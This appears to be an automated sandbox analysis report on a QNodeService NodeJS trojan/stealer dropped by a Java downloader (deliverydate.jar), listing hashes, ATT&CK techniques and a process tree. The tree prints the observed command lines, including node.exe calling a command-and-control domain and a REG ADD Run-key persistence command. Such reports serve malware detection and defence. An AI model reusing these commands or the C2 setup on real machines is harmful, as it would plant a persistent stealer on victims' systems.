qnodeservice | adae00ba42de16cb01dd5a40b1a9dcdcb72e4b7c01a5b815711a65cfbb9a1e6d

General

Target

deliverydate.jar
Size

117KB
MD5

65488dc62541ef239ed858e7bce2d52a
SHA1

394257766c5f7ff53f8938efbc73759b82d1206c
SHA256

adae00ba42de16cb01dd5a40b1a9dcdcb72e4b7c01a5b815711a65cfbb9a1e6d
SHA512

32e53b9ab9bc2ae95b7faffb4e19785e259e67026ef5fab65abcdbabad03e2603de016865848ee613e9f9b71ec59b6d6628d4ba62c49724c18ca188131294e0a

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
672	node.exe
3096	node.exe
3800	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\1267f453-9914-4b5f-ab82-3632f2895d4d = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab64-172.dat	js
behavioral2/files/0x000100000001ab64-175.dat	js
behavioral2/files/0x000100000001ab64-179.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	wtfismyip.com
26	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
672	node.exe
672	node.exe
672	node.exe
672	node.exe
3096	node.exe
3096	node.exe
3096	node.exe
3096	node.exe
3800	node.exe
3800	node.exe
3800	node.exe
3800	node.exe
3800	node.exe
3800	node.exe
3800	node.exe
3800	node.exe
3800	node.exe
3800	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 500 wrote to memory of 2752	500	java.exe	76
PID 500 wrote to memory of 2752	500	java.exe	76
PID 2752 wrote to memory of 672	2752	javaw.exe	80
PID 2752 wrote to memory of 672	2752	javaw.exe	80
PID 672 wrote to memory of 3096	672	node.exe	82
PID 672 wrote to memory of 3096	672	node.exe	82
PID 3096 wrote to memory of 3800	3096	node.exe	83
PID 3096 wrote to memory of 3800	3096	node.exe	83
PID 3800 wrote to memory of 2184	3800	node.exe	85
PID 3800 wrote to memory of 2184	3800	node.exe	85
PID 2184 wrote to memory of 4088	2184	cmd.exe	86
PID 2184 wrote to memory of 4088	2184	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\deliverydate.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:500
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\9beab096.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain pettypettpet.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:672
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_KSOBAS\boot.js --hub-domain pettypettpet.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3096
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_KSOBAS\boot.js --hub-domain pettypettpet.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3800
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "1267f453-9914-4b5f-ab82-3632f2895d4d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2184
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "1267f453-9914-4b5f-ab82-3632f2895d4d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:4088

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/672-173-0x000002B8212C0000-0x000002B8212C1000-memory.dmp

Filesize
4KB

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memory/3096-176-0x000003F763240000-0x000003F763241000-memory.dmp

Filesize
4KB

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memory/3800-180-0x0000022B1B680000-0x0000022B1B681000-memory.dmp

Filesize
4KB

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